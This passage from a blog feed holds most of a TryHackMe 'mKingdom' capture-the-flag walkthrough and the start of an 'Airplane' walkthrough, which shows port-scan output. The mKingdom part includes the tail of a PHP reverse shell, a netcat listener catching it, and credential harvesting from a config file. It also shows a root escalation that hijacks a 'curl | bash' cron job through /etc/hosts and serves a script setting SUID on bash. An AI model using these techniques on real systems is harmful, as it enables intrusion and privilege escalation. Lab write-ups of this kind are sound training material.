</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> ($debug) <span style="color:#a6e22e">printit</span>(<span style="color:#e6db74">&#34;STDOUT: </span><span style="color:#e6db74">$input</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">fwrite</span>($sock, $input);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// If we can read from the process&#39;s STDERR
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// send data down tcp connection
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">in_array</span>($pipes[<span style="color:#ae81ff">2</span>], $read_a)) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> ($debug) <span style="color:#a6e22e">printit</span>(<span style="color:#e6db74">&#34;STDERR READ&#34;</span>);
</span></span><span style="display:flex;"><span>      $input <span style="color:#f92672">=</span> <span style="color:#a6e22e">fread</span>($pipes[<span style="color:#ae81ff">2</span>], $chunk_size);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> ($debug) <span style="color:#a6e22e">printit</span>(<span style="color:#e6db74">&#34;STDERR: </span><span style="color:#e6db74">$input</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">fwrite</span>($sock, $input);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fclose</span>($sock);
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fclose</span>($pipes[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fclose</span>($pipes[<span style="color:#ae81ff">1</span>]);
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fclose</span>($pipes[<span style="color:#ae81ff">2</span>]);
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">proc_close</span>($process);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// Like print, but does nothing if we&#39;ve daemonised ourself
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#75715e">// (I can&#39;t figure out how to redirect STDOUT like a proper daemon)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">printit</span> ($string) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>$daemon) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">print</span> <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">$string</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010"> 
</span></span></span></code></pre></div><p>We then setup a listener and we navigate to Files in the menu on the right and upload our shell.</p>
<p><img src="/assets/mKingdom_20240615110920.png" alt=""></p>
<p>Once this has been uploaded we click on the URL and we have our reverse shell.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ nc -nlvp <span style="color:#ae81ff">1337</span>
</span></span><span style="display:flex;"><span>listening on <span style="color:#f92672">[</span>any<span style="color:#f92672">]</span> <span style="color:#ae81ff">1337</span> ...
</span></span><span style="display:flex;"><span>connect to <span style="color:#f92672">[</span>10.11.79.78<span style="color:#f92672">]</span> from <span style="color:#f92672">(</span>UNKNOWN<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>10.10.4.31<span style="color:#f92672">]</span> <span style="color:#ae81ff">48370</span>
</span></span><span style="display:flex;"><span>Linux mkingdom.thm 4.4.0-148-generic <span style="color:#75715e">#174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux</span>
</span></span><span style="display:flex;"><span> 23:10:25 up  2:36,  <span style="color:#ae81ff">0</span> users,  load average: 0.00, 0.02, 0.02
</span></span><span style="display:flex;"><span>USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>33<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>33<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>33<span style="color:#f92672">(</span>www-data<span style="color:#f92672">)</span>,1003<span style="color:#f92672">(</span>web<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>/bin/sh: 0: can<span style="color:#960050;background-color:#1e0010">&#39;</span>t access tty; job control turned off
</span></span><span style="display:flex;"><span>$
</span></span></code></pre></div><p>After we have upgraded our shell, we start enumerating the target and we find the credentials for the Toad user in <code>/var/www/html/castle/application/config/database.php</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#a6e22e">www</span><span style="color:#f92672">-</span><span style="color:#a6e22e">data</span><span style="color:#f92672">@</span><span style="color:#a6e22e">mkingdom</span><span style="color:#f92672">:/</span><span style="color:#66d9ef">var</span><span style="color:#f92672">/</span><span style="color:#a6e22e">www</span><span style="color:#f92672">/</span><span style="color:#a6e22e">html</span><span style="color:#f92672">/</span><span style="color:#a6e22e">app</span><span style="color:#f92672">/</span><span style="color:#a6e22e">castle</span><span style="color:#f92672">/</span><span style="color:#a6e22e">application</span><span style="color:#f92672">/</span><span style="color:#a6e22e">config</span><span style="color:#960050;background-color:#1e0010">$</span> <span style="color:#a6e22e">cat</span> <span style="color:#a6e22e">database</span><span style="color:#f92672">.</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> [
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;default-connection&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;concrete&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;connections&#39;</span> <span style="color:#f92672">=&gt;</span> [
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#39;concrete&#39;</span> <span style="color:#f92672">=&gt;</span> [
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;driver&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;c5_pdo_mysql&#39;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;server&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;localhost&#39;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;database&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;mKingdom&#39;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;username&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;toad&#39;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;password&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;&lt;redacted from writeup&gt;&#39;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;character_set&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;utf8&#39;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;collation&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;utf8_unicode_ci&#39;</span>,
</span></span><span style="display:flex;"><span>        ],
</span></span><span style="display:flex;"><span>    ],
</span></span><span style="display:flex;"><span>];
</span></span></code></pre></div><p>With the credentials we are able to switch user to Toad and start enumeration again.  We look in the environment variables and we find a variable called <code>PWD_token</code> which is a base64 encoded string which gives us a password that we are able to use to escalate our privileges to Mario.</p>
<p>We navigate to the home directory of Mario and we find the <code>user.txt</code> file, but when we go to run <code>cat</code> on it we are not able to view it.  We look at the permissions of <code>cat</code> which has SUID bit set for Toad.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>bash-4.3# ls -la /bin/cat
</span></span><span style="display:flex;"><span>-rwsr-xr-x <span style="color:#ae81ff">1</span> toad root <span style="color:#ae81ff">47904</span> Mar <span style="color:#ae81ff">10</span>  <span style="color:#ae81ff">2016</span> /bin/cat 
</span></span></code></pre></div><p>Whilst this is a strange setting, it is trivial to bypass and we just copied the file to <code>/tmp</code> and was able to read the contents of the file.</p>
<p>As we continued to enumerate the box, we found that the user Mario had <code>sudo</code> permissions to run the command <code>id</code> and also we have permissions to modify <code>/etc/hosts</code>.  There is no PrivEsc that I am aware of for the <code>id</code> command, but the <code>/etc/hosts</code> was interesting and we then <a href="https://github.com/DominicBreuker/pspy">pspy</a> which after a short period of time returned the following:</p>
<pre tabindex="0"><code>2024/06/14 23:56:01 CMD: UID=0    PID=5199   | bash
2024/06/14 23:56:01 CMD: UID=0    PID=5198   | curl mkingdom.thm:85/app/castle/application/counter.sh
2024/06/14 23:56:01 CMD: UID=0    PID=5197   | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash &gt;&gt; /var/log/up.log
2024/06/14 23:56:01 CMD: UID=0    PID=5196   | CRON
2024/06/14 23:57:01 CMD: UID=0    PID=5204   | bash
2024/06/14 23:57:01 CMD: UID=0    PID=5203   | curl mkingdom.thm:85/app/castle/application/counter.sh
2024/06/14 23:57:01 CMD: UID=0    PID=5202   | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash &gt;&gt; /var/log/up.log
</code></pre><p>This is interesting as we have permission to modify <code>/etc/hosts</code> and can change the IP to our attack machine.</p>
<p>On our attack machine we created the expected file structure the command was expecting with <code>mkdir -p /app/castle/application/</code> and then created the file <code>counter.sh</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/sh
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>chmod +s /bin/bash
</span></span></code></pre></div><p>With this file created, we then set up web server listening on Port 85 and waited for the job to run.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ python3 -m http.server <span style="color:#ae81ff">85</span>
</span></span><span style="display:flex;"><span>Serving HTTP on 0.0.0.0 port <span style="color:#ae81ff">85</span> <span style="color:#f92672">(</span>http://0.0.0.0:85/<span style="color:#f92672">)</span> ...
</span></span><span style="display:flex;"><span>10.10.4.31 - - <span style="color:#f92672">[</span>15/Jun/2024 11:58:02<span style="color:#f92672">]</span> <span style="color:#e6db74">&#34;GET /app/castle/application/counter.sh HTTP/1.1&#34;</span> <span style="color:#ae81ff">200</span> -
</span></span></code></pre></div><p>Once the job had successfully run, from within our shell we run the command <code>bash -p</code> and we had root.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mario@mkingdom:/dev/shm$ bash -p
</span></span><span style="display:flex;"><span>bash-4.3# id
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>mario<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>mario<span style="color:#f92672">)</span> euid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> egid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span>,1001<span style="color:#f92672">(</span>mario<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>We then had to copy the <code>root.txt</code> to <code>/tmp</code> due to the SUID bit on the <code>cat</code> file or alternatively we could have used <code>less</code> or <code>more</code> to view it.</p>
<p>Pwned!</p>
]]></content>
        </item>
        
        <item>
            <title>Walkthrough - THM Airplane</title>
            <link>https://www.nephos.guru/posts/2024/thm-airplane/</link>
            <pubDate>Sun, 09 Jun 2024 19:08:05 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/thm-airplane/</guid>
            <description>&lt;p&gt;This walkthrough is related to the medium level box from Try Hack Me called &lt;a href=&#34;https://tryhackme.com/r/room/airplane&#34;&gt;Airplane&lt;/a&gt;. Let’s get started.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.nephos.guru/assets/airplane.png&#34; alt=&#34;page logo&#34;&gt;&lt;/p&gt;
&lt;p&gt;We deploy the machine and once it is launched we run RustScan to see what ports are open (some content has been removed for brevity)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;❯ rustscan -a 10.10.74.193 -- -A -oA nmap-scan
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| &lt;span style=&#34;color:#f92672&#34;&gt;{}&lt;/span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;| &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; |&lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;__ &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;_   _&lt;span style=&#34;color:#f92672&#34;&gt;}{&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;__  /  ___&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; / &lt;span style=&#34;color:#f92672&#34;&gt;{}&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt;|  &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;| |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| .-. &lt;span style=&#34;color:#ae81ff&#34;&gt;\|&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;_&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; |.-._&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; | |  .-._&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;/  /&lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\|&lt;/span&gt; |&lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;-&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; `-&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;-----&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;`----&amp;#39;&lt;/span&gt;  &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;-&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;  `----&amp;#39;&lt;/span&gt;  &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;---&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; `-&amp;#39;&lt;/span&gt;  &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;-&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;`-&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;-&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;The Modern Day Port Scanner.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;________________________________________
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;: http://discord.skerritt.blog         :
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;: https://github.com/RustScan/RustScan :
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; --------------------------------------
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;You miss 100% of the ports you don&amp;#39;&lt;/span&gt;t scan. - RustScan
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Open 10.10.74.193:22
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Open 10.10.74.193:6048
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Open 10.10.74.193:8000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;~&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; Starting Script&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;s&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; Running script &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;nmap -vvv -p {{port}} {{ip}} -A -oA nmap-scan&amp;#34;&lt;/span&gt; on ip 10.10.74.193
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Depending on the complexity of the script, results may take some time to appear.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;~&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; Starting Nmap 7.94SVN &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt; https://nmap.org &lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; at 2024-06-09 13:33 PST
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PORT     STATE SERVICE  REASON         VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;22/tcp   open  ssh      syn-ack ttl &lt;span style=&#34;color:#ae81ff&#34;&gt;63&lt;/span&gt; OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;Ubuntu Linux; protocol 2.0&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;3072&lt;/span&gt; b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;RSA&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuy7X5e34bStIhDkjJIcUT3kqFt9fHoI/q8AaCCH6HqgOz2HC5GdcDiBN8W6JMoRIIDJO/9FHiFE+MNtESwOP9J+S348GOhUIsVhDux7caJiyJQElrKxXJgxA7DNUvVJNBUchhgGhFv/qCNbUYF8+uaTYc0o/HtvgVw+t/bxS6EO+OlAOpyAjUP5XZjGTyc4n4uCc8mYW6aQHXZR0t5lMaKkNJzXl5+kHxxxnKci6+Ao8vrlKshgIq25NErSqoeTs/wgBcPMkr5r++emLH+rDwmjrTvwrHb2/bKKUenvnbf9AZXbcN52nGthVi95kP6HaDGijXULjrRt2GCul99OmNhEQxJNtLmUnxpxA9ZhBEzMYe3z5EeIbLuA+E9yFSrR6nq2pagC2/qvVMJSAzD749AbwjtbcL8MOf+7DCT+SATY9VxBqtKep/9PDolKi5+prGH6gzfjCkj5YaFS2CvJeGlF/B1XBzd1ccm43Lc4Ad/F4kvQWwkHmpL38kDy4eWCE&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;256&lt;/span&gt; ad:61:3e:c7:10:32:aa:f1:f2:28:e2:de:cf:84:de:f0 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;ECDSA&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLYVoN15q7ky/IIo3VNrL35GRCpppImVs7x+PPFRlqO+VcfQ8C+MR2zVEFS0wosQWQFXaCZiInQhWz9swfKN6J8&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;256&lt;/span&gt; a9:d8:49:aa:ee:de:c4:48:32:e4:f1:9e:2a:8a:67:f0 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;ED25519&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFIB0hj2IqNazZojgwv0jJr+ZnOF1RCzykZ7W3jKsuCb
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;6048/tcp open  x11?     syn-ack ttl &lt;span style=&#34;color:#ae81ff&#34;&gt;63&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;8000/tcp open  http-alt syn-ack ttl &lt;span style=&#34;color:#ae81ff&#34;&gt;63&lt;/span&gt; Werkzeug/3.0.2 Python/3.8.10
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_  Supported Methods: GET OPTIONS HEAD
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| fingerprint-strings:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   FourOhFourRequest:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     HTTP/1.1 &lt;span style=&#34;color:#ae81ff&#34;&gt;404&lt;/span&gt; NOT FOUND
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     Server: Werkzeug/3.0.2 Python/3.8.10
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     Date: Sun, &lt;span style=&#34;color:#ae81ff&#34;&gt;09&lt;/span&gt; Jun &lt;span style=&#34;color:#ae81ff&#34;&gt;2024&lt;/span&gt; 05:33:19 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     Content-Type: text/html; charset&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;utf-8
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     Content-Length: &lt;span style=&#34;color:#ae81ff&#34;&gt;207&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     Connection: close
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;!doctype html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;html lang&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;en&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;title&amp;gt;404 Not Found&amp;lt;/title&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;h1&amp;gt;Not Found&amp;lt;/h1&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;p&amp;gt;The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.&amp;lt;/p&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   GetRequest:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     HTTP/1.1 &lt;span style=&#34;color:#ae81ff&#34;&gt;302&lt;/span&gt; FOUND
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     Server: Werkzeug/3.0.2 Python/3.8.10
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     Date: Sun, &lt;span style=&#34;color:#ae81ff&#34;&gt;09&lt;/span&gt; Jun &lt;span style=&#34;color:#ae81ff&#34;&gt;2024&lt;/span&gt; 05:33:13 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     Content-Type: text/html; charset&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;utf-8
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     Content-Length: &lt;span style=&#34;color:#ae81ff&#34;&gt;269&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     Location: http://airplane.thm:8000/?page&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;index.html
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     Connection: close
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     &amp;lt;!doctype html&amp;gt;
